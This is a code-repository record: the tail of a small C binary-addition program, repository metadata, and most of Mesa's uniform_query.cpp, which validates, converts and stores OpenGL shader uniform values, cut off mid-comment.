res[index++] = (bita + bitb + c) % 2 + '0';
c = (bita + bitb + c) / 2;
}
if (c != 0)res[index++] = c + '0';
res[index] = '\0';
return reverse(res, index);
}
int main()
{
char sa[] = "1";
char sb[] = "1";
printf("%s\n", addBinary(sa, sb));
return 0;
}
|
[
"succeed.2009@163.com"
] |
succeed.2009@163.com
|
1018cc00119f35f9a3da205d7b1849b716b04fc5
|
5eb5adc6bc0cf7d80581b92668b8cd4b615894dd
|
/software/mesa/src/mesa/main/uniform_query.cpp
|
9caf5e1976650b37d081bbbbb71703c7631c5b98
|
[
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
dhanna11/OpenGPU
|
44a295e5e58e45b330216f944588383ae0cb4c39
|
ab2f01253bba311e082dfae695b9e70138de75d4
|
refs/heads/master
| 2020-04-22T01:52:18.415379
| 2017-09-20T22:40:15
| 2017-09-20T22:40:15
| 170,027,743
| 8
| 4
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 37,412
|
cpp
|
/*
* Mesa 3-D graphics library
*
* Copyright (C) 2004-2008 Brian Paul All Rights Reserved.
* Copyright (C) 2009-2010 VMware, Inc. All Rights Reserved.
* Copyright © 2010, 2011 Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
#include <stdlib.h>
#include "main/core.h"
#include "main/context.h"
#include "main/shaderapi.h"
#include "main/shaderobj.h"
#include "main/uniforms.h"
#include "compiler/glsl/ir.h"
#include "compiler/glsl/ir_uniform.h"
#include "compiler/glsl/glsl_parser_extras.h"
#include "compiler/glsl/program.h"
#include "program/hash_table.h"
#include "util/bitscan.h"
extern "C" void GLAPIENTRY
_mesa_GetActiveUniform(GLuint program, GLuint index,
GLsizei maxLength, GLsizei *length, GLint *size,
GLenum *type, GLcharARB *nameOut)
{
GET_CURRENT_CONTEXT(ctx);
struct gl_shader_program *shProg;
struct gl_program_resource *res;
if (maxLength < 0) {
_mesa_error(ctx, GL_INVALID_VALUE, "glGetActiveUniform(maxLength < 0)");
return;
}
shProg = _mesa_lookup_shader_program_err(ctx, program, "glGetActiveUniform");
if (!shProg)
return;
res = _mesa_program_resource_find_index((struct gl_shader_program *) shProg,
GL_UNIFORM, index);
if (!res) {
_mesa_error(ctx, GL_INVALID_VALUE, "glGetActiveUniform(index)");
return;
}
if (nameOut)
_mesa_get_program_resource_name(shProg, GL_UNIFORM, index, maxLength,
length, nameOut, "glGetActiveUniform");
if (type)
_mesa_program_resource_prop((struct gl_shader_program *) shProg,
res, index, GL_TYPE, (GLint*) type,
"glGetActiveUniform");
if (size)
_mesa_program_resource_prop((struct gl_shader_program *) shProg,
res, index, GL_ARRAY_SIZE, (GLint*) size,
"glGetActiveUniform");
}
static GLenum
resource_prop_from_uniform_prop(GLenum uni_prop)
{
switch (uni_prop) {
case GL_UNIFORM_TYPE:
return GL_TYPE;
case GL_UNIFORM_SIZE:
return GL_ARRAY_SIZE;
case GL_UNIFORM_NAME_LENGTH:
return GL_NAME_LENGTH;
case GL_UNIFORM_BLOCK_INDEX:
return GL_BLOCK_INDEX;
case GL_UNIFORM_OFFSET:
return GL_OFFSET;
case GL_UNIFORM_ARRAY_STRIDE:
return GL_ARRAY_STRIDE;
case GL_UNIFORM_MATRIX_STRIDE:
return GL_MATRIX_STRIDE;
case GL_UNIFORM_IS_ROW_MAJOR:
return GL_IS_ROW_MAJOR;
case GL_UNIFORM_ATOMIC_COUNTER_BUFFER_INDEX:
return GL_ATOMIC_COUNTER_BUFFER_INDEX;
default:
return 0;
}
}
extern "C" void GLAPIENTRY
_mesa_GetActiveUniformsiv(GLuint program,
GLsizei uniformCount,
const GLuint *uniformIndices,
GLenum pname,
GLint *params)
{
GET_CURRENT_CONTEXT(ctx);
struct gl_shader_program *shProg;
struct gl_program_resource *res;
GLenum res_prop;
if (uniformCount < 0) {
_mesa_error(ctx, GL_INVALID_VALUE,
"glGetActiveUniformsiv(uniformCount < 0)");
return;
}
shProg = _mesa_lookup_shader_program_err(ctx, program, "glGetActiveUniform");
if (!shProg)
return;
res_prop = resource_prop_from_uniform_prop(pname);
/* We need to first verify that each entry exists as active uniform. If
* not, generate error and do not cause any other side effects.
*
* In the case of and error condition, Page 16 (section 2.3.1 Errors)
* of the OpenGL 4.5 spec says:
*
* "If the generating command modifies values through a pointer argu-
* ment, no change is made to these values."
*/
for (int i = 0; i < uniformCount; i++) {
if (!_mesa_program_resource_find_index(shProg, GL_UNIFORM,
uniformIndices[i])) {
_mesa_error(ctx, GL_INVALID_VALUE, "glGetActiveUniformsiv(index)");
return;
}
}
for (int i = 0; i < uniformCount; i++) {
res = _mesa_program_resource_find_index(shProg, GL_UNIFORM,
uniformIndices[i]);
if (!_mesa_program_resource_prop(shProg, res, uniformIndices[i],
res_prop, ¶ms[i],
"glGetActiveUniformsiv"))
break;
}
}
static struct gl_uniform_storage *
validate_uniform_parameters(struct gl_context *ctx,
struct gl_shader_program *shProg,
GLint location, GLsizei count,
unsigned *array_index,
const char *caller)
{
if (shProg == NULL) {
_mesa_error(ctx, GL_INVALID_OPERATION, "%s(program not linked)", caller);
return NULL;
}
/* From page 12 (page 26 of the PDF) of the OpenGL 2.1 spec:
*
* "If a negative number is provided where an argument of type sizei or
* sizeiptr is specified, the error INVALID_VALUE is generated."
*/
if (count < 0) {
_mesa_error(ctx, GL_INVALID_VALUE, "%s(count < 0)", caller);
return NULL;
}
/* Check that the given location is in bounds of uniform remap table.
* Unlinked programs will have NumUniformRemapTable == 0, so we can take
* the shProg->LinkStatus check out of the main path.
*/
if (unlikely(location >= (GLint) shProg->NumUniformRemapTable)) {
if (!shProg->LinkStatus)
_mesa_error(ctx, GL_INVALID_OPERATION, "%s(program not linked)",
caller);
else
_mesa_error(ctx, GL_INVALID_OPERATION, "%s(location=%d)",
caller, location);
return NULL;
}
if (location == -1) {
if (!shProg->LinkStatus)
_mesa_error(ctx, GL_INVALID_OPERATION, "%s(program not linked)",
caller);
return NULL;
}
/* Page 82 (page 96 of the PDF) of the OpenGL 2.1 spec says:
*
* "If any of the following conditions occur, an INVALID_OPERATION
* error is generated by the Uniform* commands, and no uniform values
* are changed:
*
* ...
*
* - if no variable with a location of location exists in the
* program object currently in use and location is not -1,
* - if count is greater than one, and the uniform declared in the
* shader is not an array variable,
*/
if (location < -1 || !shProg->UniformRemapTable[location]) {
_mesa_error(ctx, GL_INVALID_OPERATION, "%s(location=%d)",
caller, location);
return NULL;
}
/* If the driver storage pointer in remap table is -1, we ignore silently.
*
* GL_ARB_explicit_uniform_location spec says:
* "What happens if Uniform* is called with an explicitly defined
* uniform location, but that uniform is deemed inactive by the
* linker?
*
* RESOLVED: The call is ignored for inactive uniform variables and
* no error is generated."
*
*/
if (shProg->UniformRemapTable[location] ==
INACTIVE_UNIFORM_EXPLICIT_LOCATION)
return NULL;
struct gl_uniform_storage *const uni = shProg->UniformRemapTable[location];
/* Even though no location is assigned to a built-in uniform and this
* function should already have returned NULL, this test makes it explicit
* that we are not allowing to update the value of a built-in.
*/
if (uni->builtin)
return NULL;
if (uni->array_elements == 0) {
if (count > 1) {
_mesa_error(ctx, GL_INVALID_OPERATION,
"%s(count = %u for non-array \"%s\"@%d)",
caller, count, uni->name, location);
return NULL;
}
assert((location - uni->remap_location) == 0);
*array_index = 0;
} else {
/* The array index specified by the uniform location is just the uniform
* location minus the base location of of the uniform.
*/
*array_index = location - uni->remap_location;
/* If the uniform is an array, check that array_index is in bounds.
* array_index is unsigned so no need to check for less than zero.
*/
if (*array_index >= uni->array_elements) {
_mesa_error(ctx, GL_INVALID_OPERATION, "%s(location=%d)",
caller, location);
return NULL;
}
}
return uni;
}
/**
* Called via glGetUniform[fiui]v() to get the current value of a uniform.
*/
extern "C" void
_mesa_get_uniform(struct gl_context *ctx, GLuint program, GLint location,
GLsizei bufSize, enum glsl_base_type returnType,
GLvoid *paramsOut)
{
struct gl_shader_program *shProg =
_mesa_lookup_shader_program_err(ctx, program, "glGetUniformfv");
unsigned offset;
struct gl_uniform_storage *const uni =
validate_uniform_parameters(ctx, shProg, location, 1,
&offset, "glGetUniform");
if (uni == NULL) {
/* For glGetUniform, page 264 (page 278 of the PDF) of the OpenGL 2.1
* spec says:
*
* "The error INVALID_OPERATION is generated if program has not been
* linked successfully, or if location is not a valid location for
* program."
*
* For glUniform, page 82 (page 96 of the PDF) of the OpenGL 2.1 spec
* says:
*
* "If the value of location is -1, the Uniform* commands will
* silently ignore the data passed in, and the current uniform
* values will not be changed."
*
* Allowing -1 for the location parameter of glUniform allows
* applications to avoid error paths in the case that, for example, some
* uniform variable is removed by the compiler / linker after
* optimization. In this case, the new value of the uniform is dropped
* on the floor. For the case of glGetUniform, there is nothing
* sensible to do for a location of -1.
*
* If the location was -1, validate_unfirom_parameters will return NULL
* without raising an error. Raise the error here.
*/
if (location == -1) {
_mesa_error(ctx, GL_INVALID_OPERATION, "glGetUniform(location=%d)",
location);
}
return;
}
{
unsigned elements = (uni->type->is_sampler())
? 1 : uni->type->components();
const int dmul = uni->type->is_64bit() ? 2 : 1;
const int rmul = glsl_base_type_is_64bit(returnType) ? 2 : 1;
/* Calculate the source base address *BEFORE* modifying elements to
* account for the size of the user's buffer.
*/
const union gl_constant_value *const src =
&uni->storage[offset * elements * dmul];
assert(returnType == GLSL_TYPE_FLOAT || returnType == GLSL_TYPE_INT ||
returnType == GLSL_TYPE_UINT || returnType == GLSL_TYPE_DOUBLE);
/* doubles have a different size than the other 3 types */
unsigned bytes = sizeof(src[0]) * elements * rmul;
if (bufSize < 0 || bytes > (unsigned) bufSize) {
_mesa_error( ctx, GL_INVALID_OPERATION,
"glGetnUniform*vARB(out of bounds: bufSize is %d,"
" but %u bytes are required)", bufSize, bytes );
return;
}
/* If the return type and the uniform's native type are "compatible,"
* just memcpy the data. If the types are not compatible, perform a
* slower convert-and-copy process.
*/
if (returnType == uni->type->base_type
|| ((returnType == GLSL_TYPE_INT
|| returnType == GLSL_TYPE_UINT)
&&
(uni->type->base_type == GLSL_TYPE_INT
|| uni->type->base_type == GLSL_TYPE_UINT
|| uni->type->base_type == GLSL_TYPE_SAMPLER
|| uni->type->base_type == GLSL_TYPE_IMAGE))) {
memcpy(paramsOut, src, bytes);
} else {
union gl_constant_value *const dst =
(union gl_constant_value *) paramsOut;
/* This code could be optimized by putting the loop inside the switch
* statements. However, this is not expected to be
* performance-critical code.
*/
for (unsigned i = 0; i < elements; i++) {
int sidx = i * dmul;
int didx = i * rmul;
switch (returnType) {
case GLSL_TYPE_FLOAT:
switch (uni->type->base_type) {
case GLSL_TYPE_UINT:
dst[didx].f = (float) src[sidx].u;
break;
case GLSL_TYPE_INT:
case GLSL_TYPE_SAMPLER:
case GLSL_TYPE_IMAGE:
dst[didx].f = (float) src[sidx].i;
break;
case GLSL_TYPE_BOOL:
dst[didx].f = src[sidx].i ? 1.0f : 0.0f;
break;
case GLSL_TYPE_DOUBLE: {
double tmp;
memcpy(&tmp, &src[sidx].f, sizeof(tmp));
dst[didx].f = tmp;
break;
}
default:
assert(!"Should not get here.");
break;
}
break;
case GLSL_TYPE_DOUBLE:
switch (uni->type->base_type) {
case GLSL_TYPE_UINT: {
double tmp = src[sidx].u;
memcpy(&dst[didx].f, &tmp, sizeof(tmp));
break;
}
case GLSL_TYPE_INT:
case GLSL_TYPE_SAMPLER:
case GLSL_TYPE_IMAGE: {
double tmp = src[sidx].i;
memcpy(&dst[didx].f, &tmp, sizeof(tmp));
break;
}
case GLSL_TYPE_BOOL: {
double tmp = src[sidx].i ? 1.0 : 0.0;
memcpy(&dst[didx].f, &tmp, sizeof(tmp));
break;
}
case GLSL_TYPE_FLOAT: {
double tmp = src[sidx].f;
memcpy(&dst[didx].f, &tmp, sizeof(tmp));
break;
}
default:
assert(!"Should not get here.");
break;
}
break;
case GLSL_TYPE_INT:
case GLSL_TYPE_UINT:
switch (uni->type->base_type) {
case GLSL_TYPE_FLOAT:
/* While the GL 3.2 core spec doesn't explicitly
* state how conversion of float uniforms to integer
* values works, in section 6.2 "State Tables" on
* page 267 it says:
*
* "Unless otherwise specified, when floating
* point state is returned as integer values or
* integer state is returned as floating-point
* values it is converted in the fashion
* described in section 6.1.2"
*
* That section, on page 248, says:
*
* "If GetIntegerv or GetInteger64v are called,
* a floating-point value is rounded to the
* nearest integer..."
*/
dst[didx].i = IROUND(src[sidx].f);
break;
case GLSL_TYPE_BOOL:
dst[didx].i = src[sidx].i ? 1 : 0;
break;
case GLSL_TYPE_DOUBLE: {
double tmp;
memcpy(&tmp, &src[sidx].f, sizeof(tmp));
dst[didx].i = IROUNDD(tmp);
break;
}
default:
assert(!"Should not get here.");
break;
}
break;
default:
assert(!"Should not get here.");
break;
}
}
}
}
}
static void
log_uniform(const void *values, enum glsl_base_type basicType,
unsigned rows, unsigned cols, unsigned count,
bool transpose,
const struct gl_shader_program *shProg,
GLint location,
const struct gl_uniform_storage *uni)
{
const union gl_constant_value *v = (const union gl_constant_value *) values;
const unsigned elems = rows * cols * count;
const char *const extra = (cols == 1) ? "uniform" : "uniform matrix";
printf("Mesa: set program %u %s \"%s\" (loc %d, type \"%s\", "
"transpose = %s) to: ",
shProg->Name, extra, uni->name, location, uni->type->name,
transpose ? "true" : "false");
for (unsigned i = 0; i < elems; i++) {
if (i != 0 && ((i % rows) == 0))
printf(", ");
switch (basicType) {
case GLSL_TYPE_UINT:
printf("%u ", v[i].u);
break;
case GLSL_TYPE_INT:
printf("%d ", v[i].i);
break;
case GLSL_TYPE_FLOAT:
printf("%g ", v[i].f);
break;
case GLSL_TYPE_DOUBLE: {
double tmp;
memcpy(&tmp, &v[i * 2].f, sizeof(tmp));
printf("%g ", tmp);
break;
}
default:
assert(!"Should not get here.");
break;
}
}
printf("\n");
fflush(stdout);
}
#if 0
static void
log_program_parameters(const struct gl_shader_program *shProg)
{
for (unsigned i = 0; i < MESA_SHADER_STAGES; i++) {
if (shProg->_LinkedShaders[i] == NULL)
continue;
const struct gl_program *const prog = shProg->_LinkedShaders[i]->Program;
printf("Program %d %s shader parameters:\n",
shProg->Name, _mesa_shader_stage_to_string(i));
for (unsigned j = 0; j < prog->Parameters->NumParameters; j++) {
printf("%s: %p %f %f %f %f\n",
prog->Parameters->Parameters[j].Name,
prog->Parameters->ParameterValues[j],
prog->Parameters->ParameterValues[j][0].f,
prog->Parameters->ParameterValues[j][1].f,
prog->Parameters->ParameterValues[j][2].f,
prog->Parameters->ParameterValues[j][3].f);
}
}
fflush(stdout);
}
#endif
/**
* Propagate some values from uniform backing storage to driver storage
*
* Values propagated from uniform backing storage to driver storage
* have all format / type conversions previously requested by the
* driver applied. This function is most often called by the
* implementations of \c glUniform1f, etc. and \c glUniformMatrix2f,
* etc.
*
* \param uni Uniform whose data is to be propagated to driver storage
* \param array_index If \c uni is an array, this is the element of
* the array to be propagated.
* \param count Number of array elements to propagate.
*/
extern "C" void
_mesa_propagate_uniforms_to_driver_storage(struct gl_uniform_storage *uni,
unsigned array_index,
unsigned count)
{
unsigned i;
/* vector_elements and matrix_columns can be 0 for samplers.
*/
const unsigned components = MAX2(1, uni->type->vector_elements);
const unsigned vectors = MAX2(1, uni->type->matrix_columns);
const int dmul = uni->type->is_64bit() ? 2 : 1;
/* Store the data in the driver's requested type in the driver's storage
* areas.
*/
unsigned src_vector_byte_stride = components * 4 * dmul;
for (i = 0; i < uni->num_driver_storage; i++) {
struct gl_uniform_driver_storage *const store = &uni->driver_storage[i];
uint8_t *dst = (uint8_t *) store->data;
const unsigned extra_stride =
store->element_stride - (vectors * store->vector_stride);
const uint8_t *src =
(uint8_t *) (&uni->storage[array_index * (dmul * components * vectors)].i);
#if 0
printf("%s: %p[%d] components=%u vectors=%u count=%u vector_stride=%u "
"extra_stride=%u\n",
__func__, dst, array_index, components,
vectors, count, store->vector_stride, extra_stride);
#endif
dst += array_index * store->element_stride;
switch (store->format) {
case uniform_native: {
unsigned j;
unsigned v;
if (src_vector_byte_stride == store->vector_stride) {
if (extra_stride) {
for (j = 0; j < count; j++) {
memcpy(dst, src, src_vector_byte_stride * vectors);
src += src_vector_byte_stride * vectors;
dst += store->vector_stride * vectors;
dst += extra_stride;
}
} else {
/* Unigine Heaven benchmark gets here */
memcpy(dst, src, src_vector_byte_stride * vectors * count);
src += src_vector_byte_stride * vectors * count;
dst += store->vector_stride * vectors * count;
}
} else {
for (j = 0; j < count; j++) {
for (v = 0; v < vectors; v++) {
memcpy(dst, src, src_vector_byte_stride);
src += src_vector_byte_stride;
dst += store->vector_stride;
}
dst += extra_stride;
}
}
break;
}
case uniform_int_float: {
const int *isrc = (const int *) src;
unsigned j;
unsigned v;
unsigned c;
for (j = 0; j < count; j++) {
for (v = 0; v < vectors; v++) {
for (c = 0; c < components; c++) {
((float *) dst)[c] = (float) *isrc;
isrc++;
}
dst += store->vector_stride;
}
dst += extra_stride;
}
break;
}
default:
assert(!"Should not get here.");
break;
}
}
}
/**
* Return printable string for a given GLSL_TYPE_x
*/
static const char *
glsl_type_name(enum glsl_base_type type)
{
switch (type) {
case GLSL_TYPE_UINT:
return "uint";
case GLSL_TYPE_INT:
return "int";
case GLSL_TYPE_FLOAT:
return "float";
case GLSL_TYPE_DOUBLE:
return "double";
case GLSL_TYPE_BOOL:
return "bool";
case GLSL_TYPE_SAMPLER:
return "sampler";
case GLSL_TYPE_IMAGE:
return "image";
case GLSL_TYPE_ATOMIC_UINT:
return "atomic_uint";
case GLSL_TYPE_STRUCT:
return "struct";
case GLSL_TYPE_INTERFACE:
return "interface";
case GLSL_TYPE_ARRAY:
return "array";
case GLSL_TYPE_VOID:
return "void";
case GLSL_TYPE_ERROR:
return "error";
default:
return "other";
}
}
/**
* Called via glUniform*() functions.
*/
extern "C" void
_mesa_uniform(struct gl_context *ctx, struct gl_shader_program *shProg,
GLint location, GLsizei count,
const GLvoid *values,
enum glsl_base_type basicType,
unsigned src_components)
{
unsigned offset;
int size_mul = glsl_base_type_is_64bit(basicType) ? 2 : 1;
struct gl_uniform_storage *const uni =
validate_uniform_parameters(ctx, shProg, location, count,
&offset, "glUniform");
if (uni == NULL)
return;
if (uni->type->is_matrix()) {
/* Can't set matrix uniforms (like mat4) with glUniform */
_mesa_error(ctx, GL_INVALID_OPERATION,
"glUniform%u(uniform \"%s\"@%d is matrix)",
src_components, uni->name, location);
return;
}
/* Verify that the types are compatible.
*/
const unsigned components = uni->type->is_sampler()
? 1 : uni->type->vector_elements;
if (components != src_components) {
/* glUniformN() must match float/vecN type */
_mesa_error(ctx, GL_INVALID_OPERATION,
"glUniform%u(\"%s\"@%u has %u components, not %u)",
src_components, uni->name, location,
components, src_components);
return;
}
bool match;
switch (uni->type->base_type) {
case GLSL_TYPE_BOOL:
match = (basicType != GLSL_TYPE_DOUBLE);
break;
case GLSL_TYPE_SAMPLER:
match = (basicType == GLSL_TYPE_INT);
break;
case GLSL_TYPE_IMAGE:
match = (basicType == GLSL_TYPE_INT && _mesa_is_desktop_gl(ctx));
break;
default:
match = (basicType == uni->type->base_type);
break;
}
if (!match) {
_mesa_error(ctx, GL_INVALID_OPERATION,
"glUniform%u(\"%s\"@%d is %s, not %s)",
src_components, uni->name, location,
glsl_type_name(uni->type->base_type),
glsl_type_name(basicType));
return;
}
if (unlikely(ctx->_Shader->Flags & GLSL_UNIFORMS)) {
log_uniform(values, basicType, components, 1, count,
false, shProg, location, uni);
}
/* Page 100 (page 116 of the PDF) of the OpenGL 3.0 spec says:
*
* "Setting a sampler's value to i selects texture image unit number
* i. The values of i range from zero to the implementation- dependent
* maximum supported number of texture image units."
*
* In addition, table 2.3, "Summary of GL errors," on page 17 (page 33 of
* the PDF) says:
*
* "Error Description Offending command
* ignored?
* ...
* INVALID_VALUE Numeric argument out of range Yes"
*
* Based on that, when an invalid sampler is specified, we generate a
* GL_INVALID_VALUE error and ignore the command.
*/
if (uni->type->is_sampler()) {
for (int i = 0; i < count; i++) {
const unsigned texUnit = ((unsigned *) values)[i];
/* check that the sampler (tex unit index) is legal */
if (texUnit >= ctx->Const.MaxCombinedTextureImageUnits) {
_mesa_error(ctx, GL_INVALID_VALUE,
"glUniform1i(invalid sampler/tex unit index for "
"uniform %d)",
location);
return;
}
}
/* We need to reset the validate flag on changes to samplers in case
* two different sampler types are set to the same texture unit.
*/
ctx->_Shader->Validated = GL_FALSE;
}
if (uni->type->is_image()) {
for (int i = 0; i < count; i++) {
const int unit = ((GLint *) values)[i];
/* check that the image unit is legal */
if (unit < 0 || unit >= (int)ctx->Const.MaxImageUnits) {
_mesa_error(ctx, GL_INVALID_VALUE,
"glUniform1i(invalid image unit index for uniform %d)",
location);
return;
}
}
}
/* Page 82 (page 96 of the PDF) of the OpenGL 2.1 spec says:
*
* "When loading N elements starting at an arbitrary position k in a
* uniform declared as an array, elements k through k + N - 1 in the
* array will be replaced with the new values. Values for any array
* element that exceeds the highest array element index used, as
* reported by GetActiveUniform, will be ignored by the GL."
*
* Clamp 'count' to a valid value. Note that for non-arrays a count > 1
* will have already generated an error.
*/
if (uni->array_elements != 0) {
count = MIN2(count, (int) (uni->array_elements - offset));
}
FLUSH_VERTICES(ctx, _NEW_PROGRAM_CONSTANTS);
/* Store the data in the "actual type" backing storage for the uniform.
*/
if (!uni->type->is_boolean()) {
memcpy(&uni->storage[size_mul * components * offset], values,
sizeof(uni->storage[0]) * components * count * size_mul);
} else {
const union gl_constant_value *src =
(const union gl_constant_value *) values;
union gl_constant_value *dst = &uni->storage[components * offset];
const unsigned elems = components * count;
for (unsigned i = 0; i < elems; i++) {
if (basicType == GLSL_TYPE_FLOAT) {
dst[i].i = src[i].f != 0.0f ? ctx->Const.UniformBooleanTrue : 0;
} else {
dst[i].i = src[i].i != 0 ? ctx->Const.UniformBooleanTrue : 0;
}
}
}
_mesa_propagate_uniforms_to_driver_storage(uni, offset, count);
/* If the uniform is a sampler, do the extra magic necessary to propagate
* the changes through.
*/
if (uni->type->is_sampler()) {
bool flushed = false;
for (int i = 0; i < MESA_SHADER_STAGES; i++) {
struct gl_linked_shader *const sh = shProg->_LinkedShaders[i];
/* If the shader stage doesn't use the sampler uniform, skip this.
*/
if (sh == NULL || !uni->opaque[i].active)
continue;
for (int j = 0; j < count; j++) {
sh->SamplerUnits[uni->opaque[i].index + offset + j] =
((unsigned *) values)[j];
}
struct gl_program *const prog = sh->Program;
assert(sizeof(prog->SamplerUnits) == sizeof(sh->SamplerUnits));
/* Determine if any of the samplers used by this shader stage have
* been modified.
*/
bool changed = false;
GLbitfield mask = sh->active_samplers;
while (mask) {
const int j = u_bit_scan(&mask);
if (prog->SamplerUnits[j] != sh->SamplerUnits[j]) {
changed = true;
break;
}
}
if (changed) {
if (!flushed) {
FLUSH_VERTICES(ctx, _NEW_TEXTURE | _NEW_PROGRAM);
flushed = true;
}
_mesa_update_shader_textures_used(shProg, prog);
if (ctx->Driver.SamplerUniformChange)
ctx->Driver.SamplerUniformChange(ctx, prog->Target, prog);
}
}
}
/* If the uniform is an image, update the mapping from image
* uniforms to image units present in the shader data structure.
*/
if (uni->type->is_image()) {
for (int i = 0; i < MESA_SHADER_STAGES; i++) {
if (uni->opaque[i].active) {
struct gl_linked_shader *sh = shProg->_LinkedShaders[i];
for (int j = 0; j < count; j++)
sh->ImageUnits[uni->opaque[i].index + offset + j] =
((GLint *) values)[j];
}
}
ctx->NewDriverState |= ctx->DriverFlags.NewImageUnits;
}
}
/**
* Called by glUniformMatrix*() functions.
* Note: cols=2, rows=4 ==> array[2] of vec4
*/
extern "C" void
_mesa_uniform_matrix(struct gl_context *ctx, struct gl_shader_program *shProg,
GLuint cols, GLuint rows,
GLint location, GLsizei count,
GLboolean transpose,
const GLvoid *values, enum glsl_base_type basicType)
{
unsigned offset;
unsigned vectors;
unsigned components;
unsigned elements;
int size_mul;
struct gl_uniform_storage *const uni =
validate_uniform_parameters(ctx, shProg, location, count,
&offset, "glUniformMatrix");
if (uni == NULL)
return;
if (!uni->type->is_matrix()) {
_mesa_error(ctx, GL_INVALID_OPERATION,
"glUniformMatrix(non-matrix uniform)");
return;
}
assert(basicType == GLSL_TYPE_FLOAT || basicType == GLSL_TYPE_DOUBLE);
size_mul = basicType == GLSL_TYPE_DOUBLE ? 2 : 1;
assert(!uni->type->is_sampler());
vectors = uni->type->matrix_columns;
components = uni->type->vector_elements;
/* Verify that the types are compatible. This is greatly simplified for
* matrices because they can only have a float base type.
*/
if (vectors != cols || components != rows) {
_mesa_error(ctx, GL_INVALID_OPERATION,
"glUniformMatrix(matrix size mismatch)");
return;
}
/* GL_INVALID_VALUE is generated if `transpose' is not GL_FALSE.
* http://www.khronos.org/opengles/sdk/docs/man/xhtml/glUniform.xml
*/
if (transpose) {
if (ctx->API == API_OPENGLES2 && ctx->Version < 30) {
_mesa_error(ctx, GL_INVALID_VALUE,
"glUniformMatrix(matrix transpose is not GL_FALSE)");
return;
}
}
/* Section 2.11.7 (Uniform Variables) of the OpenGL 4.2 Core Profile spec
* says:
*
* "If any of the following conditions occur, an INVALID_OPERATION
* error is generated by the Uniform* commands, and no uniform values
* are changed:
*
* ...
*
* - if the uniform declared in the shader is not of type boolean and
* the type indicated in the name of the Uniform* command used does
* not match the type of the uniform"
*
* There are no Boolean matrix types, so we do not need to allow
* GLSL_TYPE_BOOL here (as _mesa_uniform does).
*/
if (uni->type->base_type != basicType) {
_mesa_error(ctx, GL_INVALID_OPERATION,
"glUniformMatrix%ux%u(\"%s\"@%d is %s, not %s)",
cols, rows, uni->name, location,
glsl_type_name(uni->type->base_type),
glsl_type_name(basicType));
return;
}
if (unlikely(ctx->_Shader->Flags & GLSL_UNIFORMS)) {
log_uniform(values, uni->type->base_type, components, vectors, count,
bool(transpose), shProg, location, uni);
}
/* Page 82 (page 96 of the PDF) of the OpenGL 2.1 spec says:
*
* "When loading N elements starting at an arbitrary position k in a
* uniform declared as an array, elements k through k + N - 1 in the
* array will be replaced with the new values. Values for any array
* element that exceeds the highest array element index used, as
* reported by GetActiveUniform, will be ignored by the GL."
*
* Clamp 'count' to a valid value. Note that for non-arrays a count > 1
* will have already generated an error.
*/
if (uni->array_elements != 0) {
count = MIN2(count, (int) (uni->array_elements - offset));
}
FLUSH_VERTICES(ctx, _NEW_PROGRAM_CONSTANTS);
/* Store the data in the "actual type" backing storage for the uniform.
*/
elements = components * vectors;
if (!transpose) {
memcpy(&uni->storage[size_mul * elements * offset], values,
sizeof(uni->storage[0]) * elements * count * size_mul);
} else if (basicType == GLSL_TYPE_FLOAT) {
/* Copy and transpose the matrix.
*/
const float *src = (const float *)values;
float *dst = &uni->storage[elements * offset].f;
for (int i = 0; i < count; i++) {
for (unsigned r = 0; r < rows; r++) {
for (unsigned c = 0; c < cols; c++) {
dst[(c * components) + r] = src[c + (r * vectors)];
}
}
dst += elements;
src += elements;
}
} else {
assert(basicType == GLSL_TYPE_DOUBLE);
const double *src = (const double *)values;
double *dst = (double *)&uni->storage[elements * offset].f;
for (int i = 0; i < count; i++) {
for (unsigned r = 0; r < rows; r++) {
for (unsigned c = 0; c < cols; c++) {
dst[(c * components) + r] = src[c + (r * vectors)];
}
}
dst += elements;
src += elements;
}
}
_mesa_propagate_uniforms_to_driver_storage(uni, offset, count);
}
extern "C" bool
_mesa_sampler_uniforms_are_valid(const struct gl_shader_program *shProg,
char *errMsg, size_t errMsgLength)
{
/* Shader does not have samplers. */
if (shProg->NumUniformStorage == 0)
return true;
if (!shProg->SamplersValidated) {
_mesa_snprintf(errMsg, errMsgLength,
"active samplers with a different type "
"refer to the same texture image unit");
return false;
}
return true;
}
extern "C" bool
_mesa_sampler_uniforms_pipeline_are_valid(struct gl_pipeline_object *pipeline)
{
/* Section 2.11.11 (Shader Execution), subheading "Validation," of the
* OpenGL 4.1 spec says:
*
* "[INVALID_OPERATION] is generated by any command that transfers
* vertices to the GL if:
*
* ...
*
* - Any two active samplers in the current program object are of
* different types, but refer to the same texture image unit.
*
* - The number of active samplers in the program exceeds the
* maximum number of texture image units allowed."
*/
GLbitfield mask;
GLbitfield TexturesUsed[MAX_COMBINED_TEXTURE_IMAGE_UNITS];
struct gl_linked_shader *shader;
unsigned active_samplers = 0;
const struct gl_shader_program **shProg =
(const struct gl_shader_program **) pipeline->CurrentProgram;
memset(TexturesUsed, 0, sizeof(TexturesUsed));
for (unsigned idx = 0; idx < ARRAY_SIZE(pipeline->CurrentProgram); idx++) {
if (!shProg[idx])
continue;
shader = shProg[idx]->_LinkedShaders[idx];
if (!shader || !shader->Program)
continue;
mask = shader->Program->SamplersUsed;
while (mask) {
const int s = u_bit_scan(&mask);
GLuint unit = shader->SamplerUnits[s];
GLuint tgt = shader->SamplerTargets[s];
/* FIXME: Samplers are initialized to 0 and Mesa doesn't do a
* great job of eliminating unused uniforms currently so for now
